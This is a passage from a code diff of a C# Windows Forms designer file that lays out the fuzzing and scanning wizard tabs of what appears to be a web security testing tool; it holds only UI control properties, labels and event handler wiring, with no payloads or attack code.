System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.FuzzPayloadsListTB.Enabled = false; + this.FuzzPayloadsListTB.Location = new System.Drawing.Point(470, 78); + this.FuzzPayloadsListTB.Multiline = true; + this.FuzzPayloadsListTB.Name = "FuzzPayloadsListTB"; + this.FuzzPayloadsListTB.ScrollBars = System.Windows.Forms.ScrollBars.Both; + this.FuzzPayloadsListTB.Size = new System.Drawing.Size(390, 104); + this.FuzzPayloadsListTB.TabIndex = 17; + this.FuzzPayloadsListTB.WordWrap = false; + // + // FuzzLoadPayloadsFileLL + // + this.FuzzLoadPayloadsFileLL.AutoSize = true; + this.FuzzLoadPayloadsFileLL.Location = new System.Drawing.Point(151, 51); + this.FuzzLoadPayloadsFileLL.Name = "FuzzLoadPayloadsFileLL"; + this.FuzzLoadPayloadsFileLL.Size = new System.Drawing.Size(31, 13); + this.FuzzLoadPayloadsFileLL.TabIndex = 16; + this.FuzzLoadPayloadsFileLL.TabStop = true; + this.FuzzLoadPayloadsFileLL.Text = "Load"; + this.FuzzLoadPayloadsFileLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.LoadPayloadsFileLL_LinkClicked); + // + // FuzzStep2StatusTB + // + this.FuzzStep2StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.FuzzStep2StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.FuzzStep2StatusTB.Location = new System.Drawing.Point(140, 251); + this.FuzzStep2StatusTB.Multiline = true; + this.FuzzStep2StatusTB.Name = "FuzzStep2StatusTB"; + this.FuzzStep2StatusTB.Size = new System.Drawing.Size(598, 40); + this.FuzzStep2StatusTB.TabIndex = 11; + this.FuzzStep2StatusTB.TabStop = false; + this.FuzzStep2StatusTB.Visible = false; + // + // textBox17 + // + this.textBox17.BackColor = System.Drawing.Color.White; + this.textBox17.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox17.Dock = System.Windows.Forms.DockStyle.Top; + this.textBox17.Location = new System.Drawing.Point(5, 5); + this.textBox17.Multiline = true; + this.textBox17.Name = "textBox17"; + this.textBox17.ReadOnly = true; + this.textBox17.Size = new System.Drawing.Size(858, 38); + this.textBox17.TabIndex = 9; + this.textBox17.TabStop = false; + this.textBox17.Text = "\r\nPlease specify the payloads you want to be used for Fuzzing. You can either typ" + + "e the payloads one per line or provide a file with the list of payloads.\r\n\r\n"; + // + // FuzzStepTwoPreviousBtn + // + this.FuzzStepTwoPreviousBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.FuzzStepTwoPreviousBtn.Location = new System.Drawing.Point(8, 268); + this.FuzzStepTwoPreviousBtn.Name = "FuzzStepTwoPreviousBtn"; + this.FuzzStepTwoPreviousBtn.Size = new System.Drawing.Size(105, 23); + this.FuzzStepTwoPreviousBtn.TabIndex = 8; + this.FuzzStepTwoPreviousBtn.Text = "<-Previous Step"; + this.FuzzStepTwoPreviousBtn.UseVisualStyleBackColor = true; + this.FuzzStepTwoPreviousBtn.Click += new System.EventHandler(this.FuzzStepTwoPreviousBtn_Click); + // + // FuzzStepTwoNextBtn + // + this.FuzzStepTwoNextBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.FuzzStepTwoNextBtn.Location = new System.Drawing.Point(755, 268); + this.FuzzStepTwoNextBtn.Name = "FuzzStepTwoNextBtn"; + this.FuzzStepTwoNextBtn.Size = new System.Drawing.Size(105, 23); + this.FuzzStepTwoNextBtn.TabIndex = 7; + this.FuzzStepTwoNextBtn.Text = "Next Step ->"; + this.FuzzStepTwoNextBtn.UseVisualStyleBackColor = true; + this.FuzzStepTwoNextBtn.Click += new System.EventHandler(this.FuzzStepTwoNextBtn_Click); + // + // FinalTab + // + this.FinalTab.BackColor = System.Drawing.Color.White; + this.FinalTab.Controls.Add(this.label3); + this.FinalTab.Controls.Add(this.FuzzStep3StatusTB); + this.FinalTab.Controls.Add(this.FuzzUseCustomLogSourceCB); + this.FinalTab.Controls.Add(this.FuzzSessionPluginGrid); + this.FinalTab.Controls.Add(this.FuzzSessionPluginMsgTB); + this.FinalTab.Controls.Add(this.label8); + this.FinalTab.Controls.Add(this.FuzzStepThreePreviousBtn); + this.FinalTab.Controls.Add(this.FuzzLogSourceTB); + this.FinalTab.Controls.Add(this.FuzzCreateCodeBtn); + this.FinalTab.Location = new System.Drawing.Point(4, 25); + this.FinalTab.Name = "FinalTab"; + this.FinalTab.Padding = new System.Windows.Forms.Padding(5); + this.FinalTab.Size = new System.Drawing.Size(868, 299); + this.FinalTab.TabIndex = 3; + this.FinalTab.Text = " Customization "; + // + // label3 + // + this.label3.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.label3.AutoEllipsis = true; + this.label3.AutoSize = true; + this.label3.Location = new System.Drawing.Point(12, 198); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(331, 13); + this.label3.TabIndex = 32; + this.label3.Text = "To view the fuzzer logs you would have to click on the source name."; + // + // FuzzStep3StatusTB + // + this.FuzzStep3StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.FuzzStep3StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.FuzzStep3StatusTB.Location = new System.Drawing.Point(128, 251); + this.FuzzStep3StatusTB.Multiline = true; + this.FuzzStep3StatusTB.Name = "FuzzStep3StatusTB"; + this.FuzzStep3StatusTB.Size = new System.Drawing.Size(543, 40); + this.FuzzStep3StatusTB.TabIndex = 31; + this.FuzzStep3StatusTB.TabStop = false; + this.FuzzStep3StatusTB.Visible = false; + // + // FuzzUseCustomLogSourceCB + // + this.FuzzUseCustomLogSourceCB.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.FuzzUseCustomLogSourceCB.AutoSize = true; + this.FuzzUseCustomLogSourceCB.Location = new System.Drawing.Point(15, 218); + this.FuzzUseCustomLogSourceCB.Name = "FuzzUseCustomLogSourceCB"; + this.FuzzUseCustomLogSourceCB.Size = new System.Drawing.Size(304, 17); + this.FuzzUseCustomLogSourceCB.TabIndex = 30; + this.FuzzUseCustomLogSourceCB.Text = "Use this custom log source name (only alphabets allowed) :"; + this.FuzzUseCustomLogSourceCB.UseVisualStyleBackColor = true; + this.FuzzUseCustomLogSourceCB.CheckedChanged += new System.EventHandler(this.FuzzUseCustomLogSourceCB_CheckedChanged); + // + // FuzzSessionPluginGrid + // + this.FuzzSessionPluginGrid.AllowUserToAddRows = false; + this.FuzzSessionPluginGrid.AllowUserToDeleteRows = false; + this.FuzzSessionPluginGrid.AllowUserToResizeRows = false; + this.FuzzSessionPluginGrid.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.FuzzSessionPluginGrid.BackgroundColor = System.Drawing.Color.White; + dataGridViewCellStyle13.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + dataGridViewCellStyle13.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle13.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle13.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle13.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle13.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle13.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.FuzzSessionPluginGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle13; + this.FuzzSessionPluginGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.FuzzSessionPluginGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.dataGridViewCheckBoxColumn13, + this.dataGridViewTextBoxColumn21}); + this.FuzzSessionPluginGrid.GridColor = System.Drawing.Color.White; + this.FuzzSessionPluginGrid.Location = new System.Drawing.Point(542, 8); + this.FuzzSessionPluginGrid.Name = "FuzzSessionPluginGrid"; + this.FuzzSessionPluginGrid.ReadOnly = true; + this.FuzzSessionPluginGrid.RowHeadersVisible = false; + this.FuzzSessionPluginGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.FuzzSessionPluginGrid.Size = new System.Drawing.Size(318, 166); + this.FuzzSessionPluginGrid.TabIndex = 29; + this.FuzzSessionPluginGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.FuzzSessionPluginGrid_CellClick); + // + // dataGridViewCheckBoxColumn13 + // + this.dataGridViewCheckBoxColumn13.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.dataGridViewCheckBoxColumn13.HeaderText = ""; + this.dataGridViewCheckBoxColumn13.MinimumWidth = 25; + this.dataGridViewCheckBoxColumn13.Name = "dataGridViewCheckBoxColumn13"; + this.dataGridViewCheckBoxColumn13.ReadOnly = true; + this.dataGridViewCheckBoxColumn13.Width = 25; + // + // dataGridViewTextBoxColumn21 + // + this.dataGridViewTextBoxColumn21.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn21.HeaderText = "Select a Session Plugin"; + this.dataGridViewTextBoxColumn21.Name = "dataGridViewTextBoxColumn21"; + this.dataGridViewTextBoxColumn21.ReadOnly = true; + this.dataGridViewTextBoxColumn21.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.dataGridViewTextBoxColumn21.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // FuzzSessionPluginMsgTB + // + this.FuzzSessionPluginMsgTB.BackColor = System.Drawing.Color.White; + this.FuzzSessionPluginMsgTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.FuzzSessionPluginMsgTB.Location = new System.Drawing.Point(8, 8); + this.FuzzSessionPluginMsgTB.Multiline = true; + this.FuzzSessionPluginMsgTB.Name = "FuzzSessionPluginMsgTB"; + this.FuzzSessionPluginMsgTB.ReadOnly = true; + this.FuzzSessionPluginMsgTB.Size = new System.Drawing.Size(517, 153); + this.FuzzSessionPluginMsgTB.TabIndex = 28; + this.FuzzSessionPluginMsgTB.TabStop = false; + this.FuzzSessionPluginMsgTB.Text = resources.GetString("FuzzSessionPluginMsgTB.Text"); + // + // label8 + // + this.label8.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.label8.AutoEllipsis = true; + this.label8.AutoSize = true; + this.label8.Location = new System.Drawing.Point(12, 181); + this.label8.Name = "label8"; + this.label8.Size = new System.Drawing.Size(773, 13); + this.label8.TabIndex = 27; + this.label8.Text = "By default the logs generated by the Fuzzer are stored in the \'Other Logs\' sectio" + + "n under the source name \'Fuzzer\'. You can use a different source name if you wan" + + "t."; + // + // FuzzStepThreePreviousBtn + // + this.FuzzStepThreePreviousBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.FuzzStepThreePreviousBtn.Location = new System.Drawing.Point(8, 268); + this.FuzzStepThreePreviousBtn.Name = "FuzzStepThreePreviousBtn"; + this.FuzzStepThreePreviousBtn.Size = new System.Drawing.Size(105, 23); + this.FuzzStepThreePreviousBtn.TabIndex = 19; + this.FuzzStepThreePreviousBtn.Text = "<-Previous Step"; + this.FuzzStepThreePreviousBtn.UseVisualStyleBackColor = true; + this.FuzzStepThreePreviousBtn.Click += new System.EventHandler(this.FuzzStepThreePreviousBtn_Click); + // + // FuzzLogSourceTB + // + this.FuzzLogSourceTB.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.FuzzLogSourceTB.Enabled = false; + this.FuzzLogSourceTB.Location = new System.Drawing.Point(321, 216); + this.FuzzLogSourceTB.Name = "FuzzLogSourceTB"; + this.FuzzLogSourceTB.Size = new System.Drawing.Size(204, 20); + this.FuzzLogSourceTB.TabIndex = 17; + this.FuzzLogSourceTB.Text = "MyOwnFuzzer"; + // + // FuzzCreateCodeBtn + // + this.FuzzCreateCodeBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.FuzzCreateCodeBtn.Location = new System.Drawing.Point(683, 260); + this.FuzzCreateCodeBtn.Name = "FuzzCreateCodeBtn"; + this.FuzzCreateCodeBtn.Size = new System.Drawing.Size(177, 31); + this.FuzzCreateCodeBtn.TabIndex = 16; + this.FuzzCreateCodeBtn.Text = "Generate Code"; + this.FuzzCreateCodeBtn.UseVisualStyleBackColor = true; + this.FuzzCreateCodeBtn.Click += new System.EventHandler(this.FuzzCreateCodeBtn_Click); + // + // tabPage16 + // + this.tabPage16.Controls.Add(this.ScanBaseTabs); + this.tabPage16.Location = new System.Drawing.Point(4, 22); + this.tabPage16.Name = "tabPage16"; + this.tabPage16.Size = new System.Drawing.Size(876, 328); + this.tabPage16.TabIndex = 7; + this.tabPage16.Text = " Scanning "; + this.tabPage16.UseVisualStyleBackColor = true; + // + // ScanBaseTabs + // + this.ScanBaseTabs.Appearance = System.Windows.Forms.TabAppearance.Buttons; + this.ScanBaseTabs.Controls.Add(this.tabPage18); + this.ScanBaseTabs.Controls.Add(this.tabPage19); + this.ScanBaseTabs.Controls.Add(this.tabPage20); + this.ScanBaseTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.ScanBaseTabs.Location = new System.Drawing.Point(0, 0); + this.ScanBaseTabs.Margin = new System.Windows.Forms.Padding(0); + this.ScanBaseTabs.Name = "ScanBaseTabs"; + this.ScanBaseTabs.Padding = new System.Drawing.Point(0, 0); + this.ScanBaseTabs.SelectedIndex = 0; + this.ScanBaseTabs.Size = new System.Drawing.Size(876, 328); + this.ScanBaseTabs.TabIndex = 18; + this.ScanBaseTabs.Selecting += new System.Windows.Forms.TabControlCancelEventHandler(this.ScanBaseTabs_Selecting); + // + // tabPage18 + // + this.tabPage18.BackColor = System.Drawing.Color.White; + this.tabPage18.Controls.Add(this.ScanSelectedParametersListTB); + this.tabPage18.Controls.Add(this.ScanBodyTypeGB); + this.tabPage18.Controls.Add(this.ScanAddPointLL); + this.tabPage18.Controls.Add(this.ScanParametersNameListLbl); + this.tabPage18.Controls.Add(this.ScanParametersNameListTB); + this.tabPage18.Controls.Add(this.ScanListedParametersRB); + this.tabPage18.Controls.Add(this.ScanAllParametersRB); + this.tabPage18.Controls.Add(this.ScanParameterTypeGrid); + this.tabPage18.Controls.Add(this.ScanStep0StatusTB); + this.tabPage18.Controls.Add(this.textBox26); + this.tabPage18.Controls.Add(this.ScanResetBtn); + this.tabPage18.Controls.Add(this.ScanStepZeroNextBtn); + this.tabPage18.Location = new System.Drawing.Point(4, 25); + this.tabPage18.Name = "tabPage18"; + this.tabPage18.Padding = new System.Windows.Forms.Padding(5); + this.tabPage18.Size = new System.Drawing.Size(868, 299); + this.tabPage18.TabIndex = 2; + this.tabPage18.Text = " Set Scan Points "; + // + // ScanSelectedParametersListTB + // + this.ScanSelectedParametersListTB.BackColor = System.Drawing.Color.White; + this.ScanSelectedParametersListTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.ScanSelectedParametersListTB.ForeColor = System.Drawing.Color.CornflowerBlue; + this.ScanSelectedParametersListTB.Location = new System.Drawing.Point(8, 218); + this.ScanSelectedParametersListTB.Multiline = true; + this.ScanSelectedParametersListTB.Name = "ScanSelectedParametersListTB"; + this.ScanSelectedParametersListTB.ReadOnly = true; + this.ScanSelectedParametersListTB.Size = new System.Drawing.Size(210, 44); + this.ScanSelectedParametersListTB.TabIndex = 23; + this.ScanSelectedParametersListTB.TabStop = false; + // + // ScanBodyTypeGB + // + this.ScanBodyTypeGB.Controls.Add(this.ScanBodyCustomMsgTB); + this.ScanBodyTypeGB.Controls.Add(this.ScanBodyCustomEndTB); + this.ScanBodyTypeGB.Controls.Add(this.ScanBodyCustomEndLbl); + this.ScanBodyTypeGB.Controls.Add(this.ScanBodyCustomStartTB); + this.ScanBodyTypeGB.Controls.Add(this.ScanBodyCustomStartLbl); + this.ScanBodyTypeGB.Controls.Add(this.ScanBodyTypeGrid); + this.ScanBodyTypeGB.Location = new System.Drawing.Point(224, 69); + this.ScanBodyTypeGB.Name = "ScanBodyTypeGB"; + this.ScanBodyTypeGB.Size = new System.Drawing.Size(376, 166); + this.ScanBodyTypeGB.TabIndex = 22; + this.ScanBodyTypeGB.TabStop = false; + this.ScanBodyTypeGB.Text = "Select the type of Request body format:"; + this.ScanBodyTypeGB.Visible = false; + // + // ScanBodyCustomMsgTB + // + this.ScanBodyCustomMsgTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ScanBodyCustomMsgTB.BackColor = System.Drawing.Color.White; + this.ScanBodyCustomMsgTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.ScanBodyCustomMsgTB.Location = new System.Drawing.Point(195, 11); + this.ScanBodyCustomMsgTB.Multiline = true; + this.ScanBodyCustomMsgTB.Name = "ScanBodyCustomMsgTB"; + this.ScanBodyCustomMsgTB.ReadOnly = true; + this.ScanBodyCustomMsgTB.Size = new System.Drawing.Size(175, 97); + this.ScanBodyCustomMsgTB.TabIndex = 22; + this.ScanBodyCustomMsgTB.TabStop = false; + this.ScanBodyCustomMsgTB.Text = "If the body format is unknown then just place unique strings at start and end of " + + "the sections that must be scanned.\r\nThese are the scan point markers, mention th" + + "ese marker values below."; + this.ScanBodyCustomMsgTB.Visible = false; + // + // ScanBodyCustomEndTB + // + this.ScanBodyCustomEndTB.Location = new System.Drawing.Point(302, 140); + this.ScanBodyCustomEndTB.Name = "ScanBodyCustomEndTB"; + this.ScanBodyCustomEndTB.Size = new System.Drawing.Size(68, 20); + this.ScanBodyCustomEndTB.TabIndex = 20; + this.ScanBodyCustomEndTB.Visible = false; + // + // ScanBodyCustomEndLbl + // + this.ScanBodyCustomEndLbl.AutoSize = true; + this.ScanBodyCustomEndLbl.Location = new System.Drawing.Point(192, 140); + this.ScanBodyCustomEndLbl.Name = "ScanBodyCustomEndLbl"; + this.ScanBodyCustomEndLbl.Size = new System.Drawing.Size(106, 13); + this.ScanBodyCustomEndLbl.TabIndex = 21; + this.ScanBodyCustomEndLbl.Text = "Scan Pt End Marker:"; + this.ScanBodyCustomEndLbl.Visible = false; + // + // ScanBodyCustomStartTB + // + this.ScanBodyCustomStartTB.Location = new System.Drawing.Point(302, 114); + this.ScanBodyCustomStartTB.Name = "ScanBodyCustomStartTB"; + this.ScanBodyCustomStartTB.Size = new System.Drawing.Size(68, 20); + this.ScanBodyCustomStartTB.TabIndex = 18; + this.ScanBodyCustomStartTB.Visible = false; + // + // ScanBodyCustomStartLbl + // + this.ScanBodyCustomStartLbl.AutoSize = true; + this.ScanBodyCustomStartLbl.Location = new System.Drawing.Point(191, 117); + this.ScanBodyCustomStartLbl.Name = "ScanBodyCustomStartLbl"; + this.ScanBodyCustomStartLbl.Size = new System.Drawing.Size(109, 13); + this.ScanBodyCustomStartLbl.TabIndex = 19; + this.ScanBodyCustomStartLbl.Text = "Scan Pt Start Marker:"; + this.ScanBodyCustomStartLbl.Visible = false; + // + // ScanBodyTypeGrid + // + this.ScanBodyTypeGrid.AllowUserToAddRows = false; + this.ScanBodyTypeGrid.AllowUserToDeleteRows = false; + this.ScanBodyTypeGrid.AllowUserToResizeRows = false; + this.ScanBodyTypeGrid.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left))); + this.ScanBodyTypeGrid.BackgroundColor = System.Drawing.Color.White; + dataGridViewCellStyle14.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + dataGridViewCellStyle14.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle14.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle14.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle14.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle14.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle14.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.ScanBodyTypeGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle14; + this.ScanBodyTypeGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.ScanBodyTypeGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.dataGridViewCheckBoxColumn14, + this.dataGridViewTextBoxColumn22}); + this.ScanBodyTypeGrid.GridColor = System.Drawing.Color.White; + this.ScanBodyTypeGrid.Location = new System.Drawing.Point(6, 23); + this.ScanBodyTypeGrid.Name = "ScanBodyTypeGrid"; + this.ScanBodyTypeGrid.ReadOnly = true; + this.ScanBodyTypeGrid.RowHeadersVisible = false; + this.ScanBodyTypeGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.ScanBodyTypeGrid.Size = new System.Drawing.Size(180, 137); + this.ScanBodyTypeGrid.TabIndex = 17; + this.ScanBodyTypeGrid.Visible = false; + this.ScanBodyTypeGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.ScanBodyTypeGrid_CellClick); + // + // dataGridViewCheckBoxColumn14 + // + this.dataGridViewCheckBoxColumn14.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.dataGridViewCheckBoxColumn14.HeaderText = ""; + this.dataGridViewCheckBoxColumn14.MinimumWidth = 25; + this.dataGridViewCheckBoxColumn14.Name = "dataGridViewCheckBoxColumn14"; + this.dataGridViewCheckBoxColumn14.ReadOnly = true; + this.dataGridViewCheckBoxColumn14.Width = 25; + // + // dataGridViewTextBoxColumn22 + // + this.dataGridViewTextBoxColumn22.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn22.HeaderText = "Body Type"; + this.dataGridViewTextBoxColumn22.Name = "dataGridViewTextBoxColumn22"; + this.dataGridViewTextBoxColumn22.ReadOnly = true; + this.dataGridViewTextBoxColumn22.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.dataGridViewTextBoxColumn22.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // ScanAddPointLL + // + this.ScanAddPointLL.AutoSize = true; + this.ScanAddPointLL.Location = new System.Drawing.Point(770, 74); + this.ScanAddPointLL.Name = "ScanAddPointLL"; + this.ScanAddPointLL.Size = new System.Drawing.Size(92, 13); + this.ScanAddPointLL.TabIndex = 21; + this.ScanAddPointLL.TabStop = true; + this.ScanAddPointLL.Text = "Add Scan Point(s)"; + this.ScanAddPointLL.Visible = false; + this.ScanAddPointLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ScanAddPointLL_LinkClicked); + // + // ScanParametersNameListLbl + // + this.ScanParametersNameListLbl.AutoSize = true; + this.ScanParametersNameListLbl.Location = new System.Drawing.Point(606, 132); + this.ScanParametersNameListLbl.Name = "ScanParametersNameListLbl"; + this.ScanParametersNameListLbl.Size = new System.Drawing.Size(238, 13); + this.ScanParametersNameListLbl.TabIndex = 19; + this.ScanParametersNameListLbl.Text = "Enter the zero-based index positions one per line:"; + this.ScanParametersNameListLbl.Visible = false; + // + // ScanParametersNameListTB + // + this.ScanParametersNameListTB.Enabled = false; + this.ScanParametersNameListTB.Location = new System.Drawing.Point(607, 149); + this.ScanParametersNameListTB.Multiline = true; + this.ScanParametersNameListTB.Name = "ScanParametersNameListTB"; + this.ScanParametersNameListTB.Size = new System.Drawing.Size(219, 75); + this.ScanParametersNameListTB.TabIndex = 18; + this.ScanParametersNameListTB.Visible = false; + // + // ScanListedParametersRB + // + this.ScanListedParametersRB.AutoSize = true; + this.ScanListedParametersRB.Location = new System.Drawing.Point(606, 97); + this.ScanListedParametersRB.Name = "ScanListedParametersRB"; + this.ScanListedParametersRB.Size = new System.Drawing.Size(231, 17); + this.ScanListedParametersRB.TabIndex = 16; + this.ScanListedParametersRB.Text = "Scan only UrlPathPart positions listed below"; + this.ScanListedParametersRB.UseVisualStyleBackColor = true; + this.ScanListedParametersRB.Visible = false; + this.ScanListedParametersRB.CheckedChanged += new System.EventHandler(this.ScanListedParametersRB_CheckedChanged); + // + // ScanAllParametersRB + // + this.ScanAllParametersRB.AutoSize = true; + this.ScanAllParametersRB.Checked = true; + this.ScanAllParametersRB.Location = new System.Drawing.Point(606, 74); + this.ScanAllParametersRB.Name = "ScanAllParametersRB"; + this.ScanAllParametersRB.Size = new System.Drawing.Size(164, 17); + this.ScanAllParametersRB.TabIndex = 15; + this.ScanAllParametersRB.TabStop = true; + this.ScanAllParametersRB.Text = "Scan all UrlPathPart positions"; + this.ScanAllParametersRB.UseVisualStyleBackColor = true; + this.ScanAllParametersRB.Visible = false; + // + // ScanParameterTypeGrid + // + this.ScanParameterTypeGrid.AllowUserToAddRows = false; + this.ScanParameterTypeGrid.AllowUserToDeleteRows = false; + this.ScanParameterTypeGrid.AllowUserToResizeRows = false; + this.ScanParameterTypeGrid.BackgroundColor = System.Drawing.Color.White; + dataGridViewCellStyle15.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + dataGridViewCellStyle15.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle15.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle15.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle15.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle15.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle15.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.ScanParameterTypeGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle15; + this.ScanParameterTypeGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.ScanParameterTypeGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.dataGridViewCheckBoxColumn15, + this.dataGridViewTextBoxColumn23}); + this.ScanParameterTypeGrid.GridColor = System.Drawing.Color.White; + this.ScanParameterTypeGrid.Location = new System.Drawing.Point(8, 74); + this.ScanParameterTypeGrid.Name = "ScanParameterTypeGrid"; + this.ScanParameterTypeGrid.ReadOnly = true; + this.ScanParameterTypeGrid.RowHeadersVisible = false; + this.ScanParameterTypeGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.ScanParameterTypeGrid.Size = new System.Drawing.Size(210, 138); + this.ScanParameterTypeGrid.TabIndex = 14; + this.ScanParameterTypeGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.ScanParameterTypeGrid_CellClick); + // + // dataGridViewCheckBoxColumn15 + // + this.dataGridViewCheckBoxColumn15.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.dataGridViewCheckBoxColumn15.HeaderText = ""; + this.dataGridViewCheckBoxColumn15.MinimumWidth = 25; + this.dataGridViewCheckBoxColumn15.Name = "dataGridViewCheckBoxColumn15"; + this.dataGridViewCheckBoxColumn15.ReadOnly = true; + this.dataGridViewCheckBoxColumn15.Width = 25; + // + // dataGridViewTextBoxColumn23 + // + this.dataGridViewTextBoxColumn23.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn23.HeaderText = "Select the Parameter to Scan:"; + this.dataGridViewTextBoxColumn23.Name = "dataGridViewTextBoxColumn23"; + this.dataGridViewTextBoxColumn23.ReadOnly = true; + this.dataGridViewTextBoxColumn23.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.dataGridViewTextBoxColumn23.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // ScanStep0StatusTB + // + this.ScanStep0StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ScanStep0StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.ScanStep0StatusTB.Location = new System.Drawing.Point(230, 246); + this.ScanStep0StatusTB.Multiline = true; + this.ScanStep0StatusTB.Name = "ScanStep0StatusTB"; + 